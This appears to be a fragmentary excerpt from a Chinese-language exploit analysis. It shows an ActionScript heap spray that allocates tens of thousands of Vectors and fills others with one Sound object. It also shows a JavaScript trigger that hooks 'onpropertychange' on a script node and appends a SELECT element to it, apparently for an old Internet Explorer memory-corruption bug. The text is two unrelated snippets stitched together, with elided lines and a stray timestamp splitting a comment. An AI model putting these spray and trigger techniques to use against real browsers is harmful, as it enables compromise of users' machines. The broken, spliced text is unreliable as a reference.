this.s = new Vector.<Object>(98688); // totally 98688 vectors to spray
var _local7:* = ((0x1000 / 4) - 2); // each vector has 0x3fe elements
…
while (_local2 < 98688) {
…
this.s[_local2] = new Vector.<uint>(_local7); // create one of the vectors
}
while (_local2 < 0x0400) {
this.ss[_local2] = new Vector.<Object>(_local9);
_local3 = 0;
while (_local3 < _local9) {
this.ss[_local2][_local3] = this.snd; //初始化成同一个 Sound 对象
_local3++;
};
_local2++;
};
var a=document.getElementsByTagName("script");
var b=a[0];
b.onpropertychange=fun; // 为 script 节 点 设 置 “onpropertychange”
08:45 处理函数
var c=document.createElement('SELECT'); // 创建一个 “select”节点
c=b.appendChild(c); // 将新创建的 select 节点附加到 script 节点上